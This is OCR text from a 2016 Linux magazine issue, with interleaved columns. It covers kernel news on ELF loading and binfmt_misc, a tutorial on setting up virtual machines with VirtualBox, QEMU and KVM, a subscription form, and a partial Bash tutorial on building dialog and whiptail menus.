such as the ability to cooperate between drivers and an ELF (Executable Linking Format) binary. The in-kernel
kernel in managing their memory allocations during ELF loader knows how to read the headers of this Bash
memory compaction events, and initial support for binary and determine which interpreter should be used
virtually mapped kernel stacks (which we have covered to handle the actual loading and executing of this file. The
previously). Of these new features, architecture emulation interpreter is responsible for loading each of the dynamic
containers will be interesting to many readers, especially sections used by this binary, as well as its dependent
those developing mobile and embedded systems (such as libraries. You can see a list of the libraries used by Bash by
RasPi) from their x86 laptop or desktop. using the ldd command:

16

016-017_LUD170.indd 16 07/09/2016 16:17

 in via James Bottomley, the binfmt_misc maintainer)
$ ldd /bin/bash build upon this existing support in Linux by adding the
linux-vdso.so.1 (0x00007ffc51559000) ability for the interpreter (the emulation binary, such as
libtinfo.so.5 => /lib64/libtinfo.so.5 QEMU) to be housed outside of a container (e.g. Docker,
(0x00007fa78cf8b000) Atomic, Snappy, etc). Thus, containers can be shipped for
libdl.so.2 => /lib64/libdl.so.2 various architectures as usual and an emulation binary
(0x00007fa78cd87000) on the underlying host system can be used to translate
libc.so.6 => /lib64/libc.so.6 architecture if needed, all without modification to the
(0x00007fa78c9c5000) container contents themselves.
/lib64/ld-linux-x86-64.so.2
(0x000055b26ac86000) Ongoing Development
Catalin Marinas (kernel lead at ARM) posted a
This shows where in memory the loader should link in the patch series enabling the ‘execute-only’ support in
necessary system libraries (those with a ‘.so’ for ‘shared contemporary ARMv8 microprocessors. This enables
object’). That loader (interpreter) is itself described in the situations in which (for example) userspace programs are
ELF headers for the Bash binary (which you can display allowed to execute a function providing a cryptographic
using the readelf -l or objdump utilities). In this case, it key management algorithm (or DRM code), but aren’t able
is identified as /lib64/ld-linux-x86-64.so.2, which is a to examine the content of the code they are executing.
special system binary provided by the system’s GNU The initial support relies upon clearing the PTE_UXN and
C Library. Once the binary is loaded, this interpreter is PTE_USER page protection bits in the page tables for
executed to handle running the program. the userspace memory being protected. Catalin notes
ELF is a common file format used for binaries on that the kernel can still bypass this up until processors
modern Linux systems (although there was an older featuring ARMv8.2 support; those processors implement
format used in the very early days of Linux), as well as Unix User Access Override and allow a situation in which kernel
systems such as Solaris. Incidentally, Windows systems code can be made executable only. Thus, a potential
use a different format, known as Portable Executables security attack surface (especially in mobile) is reduced.
(PE), and Macs use another. Linux contains support for Tom Lendacky (a developer at AMD) posted the second
some of these alternatives via the binfmt_misc plugins RFC (Request For Comment) version of a patch series
mentioned before. These can identify foreign binaries implementing Secure Memory Encryption (SME), a new
and call the necessary interpreter for them. For example, AMD-specific x86 feature allowing individual pages of
on an x86 Linux system, you might have noticed that you memory to be marked as encrypted through the system’s
are (depending upon the distribution) able to execute page tables. In an SME regime, a “page of memory that is
Windows binaries simply by running them like any other marked encrypted will be automatically decrypted when
program. When you are able to do this, it is because read from DRAM and will be automatically encrypted
the distribution vendor has configured the Windows when written to DRAM”. This is an exciting new feature
(WINE) Emulator to automatically be invoked by the that should improve system security, especially (as Tom
appropriate handler. notes) when used in combination with another new AMD
Similarly, it is possible to handle binaries intended feature known as Secure Encrypted Virtualisation (SEV).
for different architectures through the appropriate Finally this month, let’s spare a moment to recognise
binfmt_misc handler. The kernel is able to determine Hans J Koch, a kernel developer who passed away in
that a binary wasn’t created to run natively, and it can June. Hans was the principal author of the UIO (Userspace
spawn a QEMU (or similar utility) instance to dynamically IO) subsystem, relied upon for NFV (Network Function
emulate the other architecture and run the binary as if Virtualisation) and many other technologies within and
it were native. The latest fixes in Linux 4.8 (which came outside of virtual machine technologies.

www.linuxuser.co.uk 17

016-017_LUD170.indd 17 07/09/2016 16:17

 Feature Virtualise your system

Want to run multiple operating systems,

but find dual-booting unproductive?
The answer is virtualisation – running
one OS within another

Whether you’re running Ubuntu and Fedora on a dual-boot system,

or you’ve got a partition for Windows as well (you might even run a
Hackintosh partition too), then you have a definite issue with your
setup: rebooting.
It can take time to reboot; from shutdown, to your GRUB 2 menu
selection, and then booting into the chosen OS can take as long as 5-10
minutes – time better spent being productive rather than staring at a
screen. When you consider the number of times that you need to swap
operating systems purely to grab a single file, or input just one command,
it’s all a bit clunky, really.
With a virtual machine, however, you overcome this problem. The
alternative operating system exists as software (a ‘guest OS’) that you
can load up on your PC (the ‘host OS’) to use as and when you need it. Say
goodbye to multi-booting!

18

018-024 Virtualise Feature PK.indd 18 07/09/2016 14:38

 TOOLS FOR TOP 5
VIRTUALISATION DISTROS
Different virtualisation tools are available for LINUX MINT
If you haven’t already
Linux, depending on what OS you want to run tried Linux Mint (it
tends to be unfriendly
with certain hardware)
VirtualBox then installing it in a
USEFUL FOR Versatile virtualisation. VirtualBox is Activate VM is a great idea, as the desktop doesn’t require
capable of both software- and hardware-assisted virtualisation 3D acceleration. This makes it ideal not just for
virtualisation, making it the best all-round choice on your PC hardware virtualisation, but lower-spec systems
without this feature as well.
If you’ve had go at virtualisation in the past, the chances are that In order to use a
virtual machine
you used VirtualBox. It’s free, open source and available for all major
operating systems, including Linux.
application on your LUBUNTU
computer, you will This ultra lightweight
With VirtualBox, you can easily run another Linux operating system, need to enable version of Ubuntu is
or even (if you’re desperate) install Windows, perhaps to run software virtualisation in
ideal for running on
that doesn’t perform well with Wine. the BIOS. How you
access this usually virtual machines. Its modest footprint on system
VirtualBox does this by creating a virtualised hardware
depends on your PC resources means that you can get the most out
environment, which receives a nice performance boost if your
or laptop, but is often of it, giving you an idea of how it might run on
system is already equipped for virtualisation. Meanwhile, VMs (virtual a case of tapping an older PC or laptop when installed as a full
machines) are stored as disk images, making them easy to back up Del or F2 after your operating system.
and migrate to other PCs and virtual machine applications. computer restarts.
You’ll typically
find Virtualization,
SLACKWARE
QEMU Hyper-V (Intel
Yet to sample the
lightweight, simple
processors), or
USEFUL FOR running a virtualised ARM device on a AMD-V in the Slackware? Ideal
computer with x86 or x64 architecture – that’s what we Advanced screen for advanced Linux
call versatile! of the system BIOS, users (largely thanks to its closeness to Unix),
which is navigated
The aim of QEMU (short for Quick Emulator) is portability and hardware Slackware runs effortlessly with all virtual
with arrow keys.
emulation, and in a world that already has VirtualBox (and the paid Remember to hit F10
machine applications, giving you the chance to
VMware tools), its main advantage is in emulating ARM devices. to save and exit after finally sample its straightforward command
A popular use for QEMU is virtualising the Raspberry Pi OS, Raspbian making the change. line installation. A VM gives you the perfect
On some opportunity to try it out!
(along with other compatible operating systems), but it can also be used
systems, low-level
to emulate Android on a PC, without having to rely on the Android-x86 virtualisation FEDORA
project or the Bluestacks Android emulator. might be available One of the most
Like VirtualBox, setting up a VM with QEMU is straightforward, and without activating popular Linux distros,
guest OSes can even be downloaded with QEMU built in. the BIOS setting,
Fedora uses many of
or on systems
without Hyper-V. the usual command-line tools, so if you’re used
KVM to Ubuntu and want to try out Fedora in a VM,
you’ll find a few things that are familiar. Sluggish
USEFUL FOR running VMs that VirtualBox and QEMU performance can be overcome by switching the
cannot without hardware acceleration – if you need desktop environment.
power, then use this tool!
Forked from the QEMU project, KVM (Kernel-based Virtual Machine) is UBUNTU
also capable of working in conjunction with QEMU to provide additional SERVER
virtualisation options, as well as being available as a standalone VM. Preparing to run a
The benefit of using KVM over, say, VirtualBox is performance, not to server? You can get to
mention better stability with a number of guest operating systems. The grips with a server-based distro like Ubuntu Server
problem with this, however, is that KVM is a bit trickier to set up and use. or CentOS by first installing it on a virtual machine.
Once you’ve got your head around para-virtualised drivers (which give Once configuration is complete, you can use the
the guest OS direct access to the hardware) for example, you’ll see why experience (or perhaps even export the settings)
KVM is popular with VM power users. and use them on a physical server.

19

018-024 Virtualise Feature PK.indd 19 07/09/2016 14:38

 Feature Virtualise your system

VIRTUALBOX RUN A NEW OS

Discover how easy it is to install a new guest operating system in a
virtual machine using the popular VirtualBox
Getting started with virtualisation is simple with VirtualBox.
Once you have installed it via your package manager (or using
distribution-appropriate instructions, which can be found at
virtualbox.org/wiki/Linux_Downloads), launch the application
and click the New button to get started. After entering a name
(typically the OS version you’re planning to install), select the
virtual machine type, followed by the version.
The choice is large, as VirtualBox supports a wide selection
of operating systems across six platforms. With the correct
options selected, click Next, to see how your VM should
be configured. Default options are based on the OS you’ve
selected to install, but you might prefer to tweak this based on
your own needs. Above Adding a Installation is via command line, and requires gcc, g++, dkms
In the next screen, you’ll need to ‘Create a virtual hard name and setting and kernel-devel to be pre-installed. For Debian distros:
disk drive’. (Other options are available, such as connecting the operating
a physical device.) Your virtual disk type should depend on system type will sudo apt-get install gcc g++ dkms kernel-devel
which VM tool you’re planning to use long-term; options for help VirtualBox
Parallels and QEMU are included here, but the VDI extension offer you the correct For Fedora and forks, use:
for VirtualBox is fine to get started with. Set this to dynamically default options
allocated in the next screen, so that the HDD doesn’t take up sudo yum install gcc g++ dkms kernel-devel
too much space on the host OS. The limit can be set in the next
screen. Install Several key features are available. For instance, you can
Once this is done, click Create, then you’re back in the main guest OS use automatic resizing to size the VM window to any custom
VirtualBox screen. Here, you’ll need to select the source of from HDD dimension (as opposed to the usual 640×480, 800×600,
the installer image file. So, with your new VM selected, click Regardless of the 1024×768 resolutions).
Settings then Storage. Here, you can add the device, where the virtual machine you’re Meanwhile, there’s support for shared clipboard and drag-
using, you’ll need to
ISO is mounted (real or virtual) as an IDE, SATA, SCSI, USB or and-drop, which both add interoperability between the guest
install your chosen
another controller. guest OS from a and host OS. Need to copy a document to your guest OS? Just
With this set up, click OK then Start to boot the virtual downloaded ISO file. use the clipboard, or drag it into place. It’s bidirectional, too!
machine and install the guest OS. If all has gone well, you’ll While installing the Seamless mode, meanwhile, enables you to run
soon be prompted with the usual setup screen for the OS from a DVD or CD applications seemingly outside the guest OS. While the
operating system (Linux distros will typically boot into the live should work without windows will retain the stylings of the guest operating system
any problems, the
CD), so work through the necessary screens until you’re ready theme, they can be moved around and resized beyond the
speed of the drive
to install. can slow things down confines of the VM window.
To increase functionality between your guest and host OS, here. Installing from Finally, various optimisations are included with Guest
you may opt to install the Guest Additions suite of tools. These a USB flash device is Additions, useful for getting the most out of your virtual
will deliver a range of enhanced, optional extras to your virtual quicker, but for the machines and avoiding the lag that spoils many VM
PC experience, and increase interaction between the host and very best results, an experiences.
ISO downloaded to
guest OSes. To use the Guest Additions, open your virtual machine, then
your PC and mounted
as a virtual device Devices>Insert Guest Additions CD image. You’ll be prompted
is guaranteed to to download the ISO, and when complete, Guest Additions will
give you a speedy be automatically loaded, ready to install on the guest OS.
installation.
As a rule, however,
OS X is a pain to run as
a VM without various
additional tools, so
steer clear!

Above Setting the size of the virtual HDD is important, but

the virtual device will not reach capacity until you fill it up Above If you’re installing your guest OS from a physical or
with data! virtual optical drive, you can set this up in the Storage tab

20

018-024 Virtualise Feature PK.indd 20 07/09/2016 14:38

 QEMU RUN A LIGHTWEIGHT DISTRO
QEMU is versatile, but you’ll need to get to grips with the command-line interface
Using the right tools for the job is just as important with virtualisation as it is with QEMU uses software virtualisation) and even how many
any other task. For instance, should you wish to virtualise an ARM device like CPU cores you want to use.
the Raspberry Pi, VirtualBox will prove useless, as it is designed for 32-bit and A full list of commands and options can be found in the
64-bit virtualisation. For ARM device virtualisation, you need QEMU, which is also help ile:
capable of providing virtual machines for 32-bit and 64-bit platforms.This isn’t just
about the Raspberry Pi, however, as almost any distro or operating system can be set up qemu-system-x86_64 -h
and run in QEMU – once you’ve mastered its command-line interface…

01 Install QEMU
If it’s not installed already, update your Linux repos,
Check 04 Create a virtual machine with QEMU
A good example is the following command, which
creates a virtual machine with 1GB of RAM, sets the
before installing the QEMU package, using the command line.
your ISO irst! CD-ROM as the primary boot device, enables KVM for
For Ubuntu, this will be: Before installation, hardware virtualisation, uses three CPU cores, and has
conirm that the ISO network access. This will be installed to the test-image.img
that you’re about to
sudo apt-get install qemu qemu-kvm libvirt-bin virtual HDD.
install on a virtual
machine is working.
RedHat/Fedora users, go with: One way to do this is qemu-system-x86_64 -m 1024 -boot d -enable-kvm
to mount it, either as -smp 3 -net nic -net user -hda test-image.img
sudo dnf install qemu qemu-kvm a virtual device, or -cdrom ubuntu-16.04.iso
burn it and mount it
from a physical drive.
SUSE/openSUSE uses: Note that the ISO ile you choose for your VM will require the
As long as you can
open the directories
full ile path included in the command. If necessary, RAM
sudo zypper in qemu on the disc, things can be increased.
should be good.
If you’re on Arch Linux, use:

sudo pacman -S qemu

Meanwhile, you
can also check the
md5 hash, using the
05 Boot and use your virtual machine
After entering the command, your VM will boot and the
ISO ile will be installed. Subsequent boots will not need the ISO
md5sum tool:
installed, so remove the -cdrom option from the end.
At the time of writing, QEMU is undergoing revision as part of md5sum This time, the command is:
the QEMU/KVM project, and as a result the package name [filename.iso]
may differ in the near future (your package manager should qemu-system-x86_64 -m 1024 -boot d -enable-kvm
handle this). The generated -smp 3 -net nic -net user -hda test-image.img
hash should match
the string on the

02 Create a virtual hard drive

QEMU has many options and formats that you
can use, but before you get started, you’ll need to create
download page
(if provided) –
To install an operating system from a physical CD or DVD,
you would use the device ile path. In the example above,
this would be:
conirming that your
a virtual hard disk image, into which you can install an download is not
operating system. corrupt! Note that qemu-system-x86_64 -m 1024 -boot d -enable-kvm
The following command will create an image ile of 10GB in this works with ISO -smp 3 -net nic -net user -hda test-image.img
and IMG iles.
the qcow2 format, the default for QEMU: -cdrom /dev/cdrom

qemu-img create -f qcow2 test-image.img 10G

You’ll ind test-image.img (or whatever you named it) in your

06 Choose alternative architectures
You’re not limited to x86 architecture with QEMU. As
mentioned above, you can also emulate other architectures,
home folder, with a ile size of much less than 10GB – when such as ARM. This can be used to set up a virtual Raspberry
created, it’s only around 150kB. Pi (although stability is a bit of an issue as this uses software
emulation rather than virtualisation).

03 Understanding the QEMU options

To proceed, you’ll need an ISO ile of an OS that you
want to run in your QEMU virtual machine. Rather than
To check what architectures are available, use:

ls /usr/bin | grep qemu-system*

click a few options, as with VirtualBox, in QEMU you need to
specify these options in the command line. You’ll see the options are quite wide-ranging, with ARM,
You’ll have the options to specify the RAM, boot order, PowerPC – even Motorola 68000 – listed as options. Let the
whether to use KVM for hardware acceleration (by default, virtualisation of retro platforms begin!

www.linuxuser.co.uk 21

018-024 Virtualise Feature PK.indd 21 07/09/2016 14:38

 Feature Virtualise your system

KVM GET POWERFUL VIRTUALISATION

Create virtual machines that are almost as powerful as the host PC
with KVM’s Virtual Machine Manager
If you want the vast selection of features available with
QEMU but with a nice user interface, enhanced by the
hardware virtualisation on offer from your physical PC or
laptop, the answer is KVM’s Virtual Machine Manager.
With this tool installed, you get a VirtualBox-style user
interface (arguably with more features) that makes it very sudo apt-get install cpu-checker
easy to set up a powerful virtual machine.
You’ll need to start off by checking that your hardware is Next, run this command:
suitable to use with KVM, but once you’ve done that, and
installed the utility, your VMs will be almost as powerful as sudo kvm-ok
your physical PC.
If the response ends with ‘KVM acceleration can be used’,

01 Install and run KVM

Adding true virtualisation to QEMU is not enough for
KVM – it’s also a popular hypervisor and virtual machine
you’re ready to go. To install KVM and the related tools, use:

sudo apt-get install qemu-kvm libvirt-bin

solution, suitable for PCs and servers alike. virtinst bridge-utils
To check if your hardware is suitable for KVM, install the
cpu-checker package. This shouldn’t take too long to install.

Above The Virtual Machine Manager GUI makes virtualisation as easy as it is in VirtualBox, but with more options under the hood to allow for
greater configuration. The main window shows a list of hypervisors and a quick rundown of performance

22

018-024 Virtualise Feature PK.indd 22 07/09/2016 14:38

 02 Set up your
virtual machine
With KVM installed, you have
the choice of running from the
command line, as per QEMU, or
from the desktop, using the Virtual
Machine Manager tool, similar
to VirtualBox.
Get started by clicking File>New virtual machine, and
selecting the appropriate choice. As with the other tutorials
in this feature, we’re going to assume you have an ISO or
a CD-ROM.
Click Forward to proceed, selecting the appropriate
option and browsing for the correct file or device. If
recognised, the OS will be displayed at the bottom.

03 Build your
virtual machine
Next, you’ll be prompted to
Which
is the right
05 Deal with a corrupt disc or image
Problems installing an operating system to a virtual
machine are not uncommon, and are usually one of two
specify your virtual machine’s virtual things. The first common problem is setting up the virtual
memory and CPU settings. machine? machine with an unsuitable hardware specification.
Remember, these will be limited The other is dealing with bad discs and images. It can
Getting the utility
by your host PC’s hardware, prove particularly troublesome if the VM is caught in a boot
right partially
so you cannot exceed what depends on loop or some sort of repeated error.
is built into your physical what you want Should this happen, you’ll need to force the virtual
computer’s specification. to virtualise, but machine to shutdown, using the Force Off command in the
In the next screen, it’s time to create a disk image. You virtual machine power menu.
can use the default disk image size, or specify your own. applications should
also be chosen
Proceeding to the next screen, you’ll be prompted
based on what you
to name your virtual PC. Confirm the correct network need, and how easy
selection before hitting Finish to complete creation of the you want it to be.
virtual machine. Let’s face it:
QEMU’s command-
line interface
is complicated.
Conversely, Virtual
Machine Manager
for KVM and
VirtualBox are both
far more attractive
and easier to use.
The advanced
features remain;
they’re simply kept
out of sight, ready
for you to use them.
The answer as
to which is the
right VM for you is
simple: it’s the one
that helps you to get

04 Booting your virtual machine

As your newly minted VM boots up, it will attempt
the job done.
06 Tweak the virtual machine
KVM’s Virtual Machine Manager provides a useful
screen, accessed via a toolbar button labelled ‘i’, where
to load the ISO and proceed with installation of your chosen you’ll find a host of options for the selected VM. These
operating system. You’ll need to spend a few moments basically allow you to tweak the previously selected
guiding the installer through the procedure in order to options, which is useful if you’re having difficulty installing
complete installation, but by the end of it you should be a guest OS.
ready to boot up and use your chosen guest OS. You might, for example, increase the available
So you’re done! Off you go and play with your shiny new memory to the guest OS, or alter the boot order. As this
virtual machine. screen can be accessed while the guest is running,
Of course, not every operating system will happily install meanwhile you might also monitor the performance of the
as a guest OS… virtual machine.

www.linuxuser.co.uk 23

018-024 Virtualise Feature PK.indd 23 07/09/2016 14:38

 Feature Virtualise your system

BACK UP AND RESTORE

Keep a backup of your virtual machine to overcome issues or to quickly reset
A regular issue with virtual machines is finding that they
become cluttered with applications you don’t want, or
something has caused them to corrupt. To avoid this, it is a
good idea to keep a complete backup of your VM(s).
The easiest way to do this is to make a complete copy of the
virtual machine data files, but before you do this, ensure that the
guest operating system has been shut down. In VirtualBox, all
you’ll need to do is select the virtual machine you wish to archive,
then open File>Virtual Media Manager… and you’ll see a list of
the virtual HDDs that can be duplicated using the Copy button.
This gives you the opportunity not only to duplicate the
virtual hard disk, but to change the file type, from VDI to VHD, for
instance. By doing this, you have a fall-back option should the
VM you’re working with become too cluttered, or fail.

Backing up, importing and sharing

virtual machines
For a more robust approach, that might be useful if you’re
planning to distribute a virtual machine or retain a working
backup to run in VirtualBox, you should take a look at the Export
Appliance function.
Begin by opening File>Export Appliance, and selecting the Above Exporting
VM to export. Choose a file name, then a format. Note that the your virtual machine
default OVF 1.0 should be adequate for most virtual machines.
Click Next, then Export – the resulting Open Virtualization
Format Archive file will be ready to import into any other
means that you
can run it on other
devices, and
THE TIP OF
VirtualBox instance, whether on Linux, Mac or Windows.
Importing is just as straightforward. On the destination
installation of VirtualBox, open File>Import Appliance, then
restored backups
can instantly restore
a system to its post-
THE ICEBERG
browse to the OVF file. This might be on optical disc, network installation state What we’ve shown you so far is really just the simple
storage, or removable HDD. Here, simply follow the wizard stuff when it comes to virtualisation in Linux. Whether
through to import the VM, modifying the settings of the virtual you’re using VirtualBox, QEMU, KVM or any of the
hardware if necessary. proprietary alternatives, virtualisation is a tool that works
For QEMU/KVM, a backup can be made in the command in many different ways, with a myriad of options for each
line using the snapshots feature. This is a surprisingly simple operating system out there.
command that saves all data clusters as a single image that can For instance, we’ve alluded to the fact that ARM
be restored. devices such as the Raspberry Pi can be virtualised using
QEMU. Configuration and installation can be tricky, but
qemu-img snapshot -c [snapshot-name] [imagename] it is possible, enabling you to install Raspbian and other
Pi-centric distros on your desktop PC (although a lack of
All you need to do is specify a name for the snapshot, and refer to GPIO will limit the possibilities).
the image name of the VM you’re backing up. To restore this, use: Additionally, you may want to run a virtual machine
based on Mac OS X. Remarkably, this is possible, and
qemu-img snapshot -a [snapshot-name] [imagename] while it was previously limited to VMware or Parallels
…and this will restore the virtual machine to its previous state. running on a Mac, with the right tools, keys and boot
tools it can happen on a Linux PC. Of course, you’d need
By making a backup copy of the virtual hard to already own a copy of OS X to do this legally, but the
opportunity is there.
disk, you have a fall-back option should the Ultimately, virtualisation is an important element of
virtual machine you’re working with become modern computing, from corporate computing to the
internet, and these utilities can give an insight into each of
too cluttered, or fail those worlds, and beyond.

24

018-024 Virtualise Feature PK.indd 24 07/09/2016 14:38

Full Page.indd 1 05/09/2016 14:30
 Subscription offer

£5.99
£4.49
per issue

Subscribe and save 25%

Every issue, delivered straight to your door

Never miss an issue Delivered t o your home Get t he biggest savings

13 issues a year, and you’ll be Free delivery of every issue, direct Get your favourite magazine for
sure to get every single one to your doorstep less by ordering direct

What our readers are saying about us…

“I’ve only just found out about this “@LinuxUserM ag just arrived by post. Wow
“Thanks for a great magazine. I’ve been a
magazine today. It’s absolutely brilliant and what a fantastic issue! I was just about to
regular subscriber now for a number
exactly what I was looking for. start playing with mini-pcs and a
of years.”
I’m amazed!” soldering iron. TY”
M att Caswell via email
Donald Sleightholme via Facebook @businessBoris via Twitter

Subscriptions DPS 2016 template.indd 26 07/09/2016 16:58

 Subscription offer

Pick the subscription that’s right for you

MOST GREAT
FLEXIBLE VALUE

Subscribe and save 25% One year subscript ion

✔ Automatic renewal – never miss an issue ✔ Great offers, available world-wide
✔ Pay by Direct Debit ✔ One payment, by card or cheque
Re c urring payme nt o f £ 2 6 .9 5 e ve ry s ix is s ue s , A s imple o ne -o ff payme nt e ns ure s yo u ne ve r mis s
s aving 2 5 % o n the re tail pric e an is s ue fo r o ne full ye ar. That’s 1 3 is s ue s ,
dire c t to yo ur do o rs te p

Instruction to your Bank Originator’s reference UK £ 6 2 .4 0 (s aving 2 0 % o n the re tail pric e )

or Building Society to pay 5 0 1 8 8 4
by Direct Debit Europe £ 7 0 USA £ 8 0 Rest of the world £ 8 0
Name of bank

Pay by card or cheque

Address of bank
Pay by Credit or Debit card
Visa M astercard Amex
Card number
Postcode
Account Name

Expiry date
Sort Code Account no

Ple as e pay Imagine Publis hing Limite d Dire c t De bits fro m the ac c o unt de taile d in this ins truc tio n s ubje c t to the Pay by Cheque Made payable to
s afe guards as s ure d by the Dire c t De bit guarante e . I unde rs tand that this ins truc tio n may re main with
Imagine Publis hing Limite d and, if s o , de tails will be pas s e d o n e le c tro nic ally to my Bank/ Building So c ie ty.
I enclose a cheque for £ Imagine Publishing Ltd
Banks & Building So c ie tie s may no t ac c e pt Dire c t De bit ins truc tio ns fo r s o me type s o f ac c o unt

Signature Date Signature Date

Your information
Name Address

Telephone number Mobile number

Email address
Postcode
Please post this form to
Ple as e tic k if yo u do no t wis h to re c e ive any Ple as e tic k if yo u do no t wis h to re c e ive any pro mo tio nal mate rial
pro mo tio nal mate rial fro m Imagine Publis hing Ltd fro m o the r c o mpanie s ■ By po s t ■ By te le pho ne
Linux User & Developer Subscriptions, 800 Guillat Avenue, Kent Science
■ By po s t ■ By te le pho ne ■ By e mail ■ Ple as e tic k if yo u DO wis h to re c e ive s uc h info rmatio n by e mail Park, Sittingbourne, Kent ME9 8GU

Order securely online www.imaginesubs.co.uk/ lud

Enter the promo code PS16 to get these great offers

Speak to one of our friendly These offers will expire on

S a turd a y 3 1 De c e m b e r 2 0 1 6
customer service team Please quote code PS16
Call 0844 249 0282 Calls cost 7p per minute plus your telephone company’s access charge

* This o ffe r e ntitle s ne w UK Dire c t De bit s ubs c ribe rs to pay o nly £ 2 6 .9 5 e ve ry 6 is s ue s . Offe r c o de PS1 6 mus t be quo te d to re c e ive this s pe c ial s ubs c riptio n pric e . Ne w s ubs c riptio ns will s tart
fro m the ne xt available is s ue . De tails o f the Dire c t De bit guarante e are available o n re que s t. Subs c ribe rs c an c anc e l this s ubs c riptio n at any time . This o ffe r e xpire s 3 1 s t De c e mbe r 2 0 1 6 .

Subscriptions DPS 2016 template.indd 27 07/09/2016 16:58

 Tutorial Bash masterclass

Bash
Tam Hanna
sometimes inds
himself in the
masterclass
Display graphical
thankless role of
supporting technically
challenged end users
who freak out when
presented with a
terminal window. In
that case, adding a

user interfaces
bit of graphical sugar
is a sure-ire way to
remove intimidation.

from your
Resources
Bash
gnu.org/software/
bash

Bash script
The black terminal window can
be intimidating to average users.
Both Dialog and Xdialog try to
alleviate this problem
Decades of hacker movies have ensured that Joe User utilities that provide these features for you. Dialog is,
has a dedicated bit of respect of all things Terminal. by far, the most common of the group – it will be the
The Bash shell can be combined with a bunch of useful focus of this article. It is not, however, the only product
system commands to create nifty scripts dedicated to covered here – read the article fully to empower your
ile system traversal. Bash scripts to take control of traditional graphical user
Given that Bash is Turing-complete, developers could interfaces (GUIs).
– in theory – use ncurses or a similar library to create To cut a long story short: a script is valuable
Tutorial iles custom output. A more practical approach involves only if users accept it. Providing a graphical and/or
available: the invocation of dedicated programs that handle the semigraphical user interface boosts usability, thereby
filesilo.co.uk selection process and return a result to the caller. helping you to extract additional value from your existing
As time went by, developers created a large variety of script logic.

28

028-031 Bash Masterclass Tutorial PK NEW.indd 28 07/09/2016 14:40

 Even though Dialog should already be installed on most Power to the fourth
Ubuntu workstations, a missing packet can easily be Careful observers will note that the previous snippet
resolved by entering sudo apt-get install dialog into receives a fourth parameter. It speciies the type of
a terminal window. user interface to be created – using msgbox creates a

Given that Bash is Turing-complete, developers could

– in theory – use ncurses or a similar library to create
custom output
Once that is out of the way, it is time to create a irst message box that displays some content to the user.
script that welcomes the user to our script. This is This is but a small part of the abilities of dialogs. The
accomplished via the following bit of code: next version of our program uses dialog to collect an
answer to a binary question: think about asking the
#/bin/bash user whether they really want to perform a potentially
dangerous action:
dialog --title 'Message' --msgbox 'Hello,
world!' 10 40 #/bin/bash

Invocations of dialog require the presence of at least dialog --title "Message" --yesno "Should we
four parameters: title is used to set the title of the user launch a missile?" 6 40
interface shown, while the two numbers describe the response=$?
height and width of the dialog. Their unit is the ‘console case $response in
character’: it is usually a rectangle. Its usage is best 0) echo "Rocket launch!";;
described via the three images here, which show the 1) echo "Canceled!";;
inluence of various values of height and width. 255) echo "[ESC].";;
esac

Dialog itself is not particularly interesting: it now gets the

parameter yesno, which instructs the tool to display a
dialog with a yes and no button.

Above Width of 40 and height of 10 leads to a decent-

looking dialog
Above On some systems, users can even click these
buttons with the mouse
UNIX commands return a numerical status to the
operating system as they terminate; it provides
information about what happened during program
execution. The results of the last-run command can
be accessed in Bash via the ? variable, whose value is
extracted using the $ operator.
Dialogs invoked with the -yesno parameter know a
total of three results, which are handled with a case
Above Passing in 10 70 creates a very long dialog selection. 0 conirms to Yes, while 1 is responsible for No.
Cancellations via the Esc key are signiied by returning a
value of 255.

Present a menu!
Returning numerical results cannot only be used to say
Yes and No. If a menu has a numerical value assigned to
each selection, the user can be made to express their
Above Using 20 20 makes the dialog very wide due to the desires without having to resort to typing in strings. This is
asynchronous shape of console pixels beneicial from a usability point of view: if users are given

www.linuxuser.co.uk 29

028-031 Bash Masterclass Tutorial PK NEW.indd 29 07/09/2016 14:40

 Tutorial Bash masterclass

an opportunity to make typos, the dreaded lapsus clavis is a redirection – the following example script collects some
likely to rear its ugly head. input, which is then printed out in a non-graphical fashion:
From a coding point of view, implementing a menu is not
particularly dificult: #/bin/bash

#/bin/bash cache=$?
dialog --inputbox "What is your input" 10 40
dialog --menu "Choose one:" 12 30 4 1 "Option 2>$cache
1" 2 "Option 2" 3 "Option 3" 4 "Option 4"
name=$(<$cache)
response=$?
case $response in echo "User input was:"
0) echo "Rocket launch!";; echo $name
. . .
Clean up after yourself
The main difference to the Dialog examples here is that we Right now, running any of our samples leads to garbled output
pass the --menu option. It changes Dialog’s behaviour in two similar to that shown below – the remainders of the dialog
ways: irst of all, the sizing of the dialog is now handled via three remain on-screen after Dialog has done its work.
integers. The irst two modify the size of the window, while the
third governs the number of choices shown on-screen. Change
number two affects the population of the menu – its choices
are taken from parameters which are read in pairs.
Parameter number one designates the ‘shortcut
character’, while parameter number two is the actual
display text. Running our code example in its current
coniguration leads to the result shown below.

Above Dialog's leftovers disrupt the ‘logical terminal flow’

One simple way to address this issue involves the use of
the clear command. It removes the entity of the script's
output from the screen, leaving the user with an empty
white terminal:
Above Dialog’s menu command works flawlessly
#/bin/bash
Be aware that the menu can also be smaller than all dialog . . .
options that are to be displayed. Dialog will react to this by response=$?
displaying a progress indicator showing how far the user has
proceeded down into the menu. In addition to that, custom clear
menu accelerator shortcuts can also be used – see the . . .
screenshot below for more details on this.
If the pristine look of the console output is of importance,
Collect arbitrary input the alternative program Whiptail can be used. It is, by and
Dialog can also be used to collect textual input. This task large, compatible with the parameters taken in by Dialog –
is a bit more complex in that the input must be caught via our menu example from before could be rewritten like this:

#/bin/bash
whiptail --menu "Choose one:" 12 30 4 1
"Option 1" 2 "Option 2" 3 "Option 3" 4 "Option 4"
. . .

Whiptail, however, also has its oddities. First of all, dialogs

generated by this program look completely different to
the ones created by Dialog. Secondarily, the input used is
Above Passing in dialog --menu "Choose one:" 12 30 3 always mirrored to the output (see top of next page).
A "Option 1" B "Option 2" 3 "Option 3" 4 "Option 4" Redirecting Whiptail’s standard output into a variable
demonstrates some alternatives can solve the latter problem:

30

028-031 Bash Masterclass Tutorial PK NEW.indd 30 07/09/2016 14:40

 Above This looks, um, different

Enter the realm of graphics

Should your script display fully graphical prompts instead,
feel free to use the zenity command. Its behaviour mirrors
that of dialog by and large; the most important difference
is the omission of the --menu option. In addition to that, a
few other options have also been renamed – the Launch
example would now look like this:

Above Picking one leads to some oddities in the #/bin/bash

output of Whiptail zenity --title "Message" --question
--text="Should we launch a missile?" 6 40
#/bin/bash
Xdialog is commonly mentioned in older literature: the product
response=$? has more commonalities with Dialog. However, it has not
been maintained for more than ive years and is no longer
whiptail --menu "Choose one:" 12 30 4 1 provided as an apt-get package – using it puts a signiicant
"Option 1" 2 "Option 2" 3 "Option 3" 4 "Option maintenance burden on your company.
4" 2>$response
Conclusion
